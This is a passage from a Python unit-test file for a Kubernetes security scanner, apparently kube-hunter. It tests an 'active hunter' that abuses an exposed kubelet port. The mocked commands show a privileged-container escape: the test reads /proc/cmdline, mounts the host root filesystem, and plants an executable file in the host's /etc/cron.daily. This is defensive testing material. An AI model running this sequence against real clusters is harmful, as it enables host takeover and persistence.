url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
directory_created,
None,
file_name,
)
assert return_value["result"] is False
def test_attack_exposed_existing_privileged_container_failure_when_chmod():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
file_name = "kube-hunter-mock" + str(uuid.uuid1())
file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
session_mock.post(run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""), text="")
session_mock.post(
run_url + urllib.parse.quote("chmod {} {}".format("755", file_name_with_path), safe=""),
text="Permission denied",
)
return_value = class_being_tested.attack_exposed_existing_privileged_container(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
directory_created,
None,
file_name,
)
assert return_value["result"] is False
def test_check_directory_exists_existing_directory():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
session_mock.post(run_url + urllib.parse.quote("ls Mock", safe=""), text="mock.txt")
return_value = class_being_tested.check_directory_exists(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu", "Mock"
)
assert return_value is True
def test_check_directory_exists_non_existent_directory():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
session_mock.post(run_url + urllib.parse.quote("ls Mock", safe=""), text="ls: Mock: No such file or directory")
return_value = class_being_tested.check_directory_exists(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu", "Mock"
)
assert return_value is False
rmdir_command_removed_successfully_callback_counter = 0
def rmdir_command_removed_successfully_callback(request, context):
global rmdir_command_removed_successfully_callback_counter
if rmdir_command_removed_successfully_callback_counter == 0:
rmdir_command_removed_successfully_callback_counter += 1
return "mock.txt"
else:
return "ls: Mock: No such file or directory"
def test_rmdir_command_removed_successfully():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
session_mock.post(
run_url + urllib.parse.quote("ls Mock", safe=""), text=rmdir_command_removed_successfully_callback
)
session_mock.post(run_url + urllib.parse.quote("rmdir Mock", safe=""), text="")
return_value = class_being_tested.rmdir_command(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
"Mock",
number_of_rmdir_attempts=1,
seconds_to_wait_for_os_command=None,
)
assert return_value is True
def test_rmdir_command_removed_failed():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
session_mock.post(run_url + urllib.parse.quote("ls Mock", safe=""), text="mock.txt")
session_mock.post(run_url + urllib.parse.quote("rmdir Mock", safe=""), text="Permission denied")
return_value = class_being_tested.rmdir_command(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
"Mock",
number_of_rmdir_attempts=1,
seconds_to_wait_for_os_command=None,
)
assert return_value is False
def test_get_root_values_success():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
root_value, root_value_type = class_being_tested.get_root_values(cat_proc_cmdline)
assert root_value == "Mock" and root_value_type == "LABEL="
def test_get_root_values_failure():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
root_value, root_value_type = class_being_tested.get_root_values("")
assert root_value is None and root_value_type is None
def test_process_exposed_existing_privileged_container_success():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="")
session_mock.post(
run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""), text=""
)
session_mock.post(
run_url + urllib.parse.quote(f"cat {directory_created}/etc/hostname", safe=""), text="mockhostname"
)
return_value = class_being_tested.process_exposed_existing_privileged_container(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
number_of_umount_attempts,
number_of_rmdir_attempts,
None,
directory_created,
)
assert return_value["result"] is True
def test_process_exposed_existing_privileged_container_failure_when_cat_cmdline():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text="Permission denied")
return_value = class_being_tested.process_exposed_existing_privileged_container(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
number_of_umount_attempts,
number_of_rmdir_attempts,
None,
directory_created,
)
assert return_value["result"] is False
def test_process_exposed_existing_privileged_container_failure_when_findfs():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="Permission denied")
return_value = class_being_tested.process_exposed_existing_privileged_container(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
number_of_umount_attempts,
number_of_rmdir_attempts,
None,
directory_created,
)
assert return_value["result"] is False
def test_process_exposed_existing_privileged_container_failure_when_mkdir():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="Permission denied")
return_value = class_being_tested.process_exposed_existing_privileged_container(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
number_of_umount_attempts,
number_of_rmdir_attempts,
None,
directory_created,
)
assert return_value["result"] is False
def test_process_exposed_existing_privileged_container_failure_when_mount():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="")
session_mock.post(
run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""),
text="Permission denied",
)
return_value = class_being_tested.process_exposed_existing_privileged_container(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
number_of_umount_attempts,
number_of_rmdir_attempts,
None,
directory_created,
)
assert return_value["result"] is False
def test_process_exposed_existing_privileged_container_failure_when_cat_hostname():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="")
session_mock.post(
run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""), text=""
)
session_mock.post(
run_url + urllib.parse.quote(f"cat {directory_created}/etc/hostname", safe=""),
text="Permission denied",
)
return_value = class_being_tested.process_exposed_existing_privileged_container(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
number_of_umount_attempts,
number_of_rmdir_attempts,
None,
directory_created,
)
assert return_value["result"] is False
def test_maliciousintentviasecurekubeletport_success():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
file_name = "kube-hunter-mock" + str(uuid.uuid1())
file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="")
session_mock.post(
run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""), text=""
)
session_mock.post(
run_url + urllib.parse.quote(f"cat {directory_created}/etc/hostname", safe=""), text="mockhostname"
)
session_mock.post(run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""), text="")
session_mock.post(
run_url + urllib.parse.quote("chmod {} {}".format("755", file_name_with_path), safe=""), text=""
)
class_being_tested.execute(directory_created, file_name)
message = "The following exposed existing privileged containers have been successfully"
message += " abused by starting/modifying a process in the host."
assert message in class_being_tested.event.evidence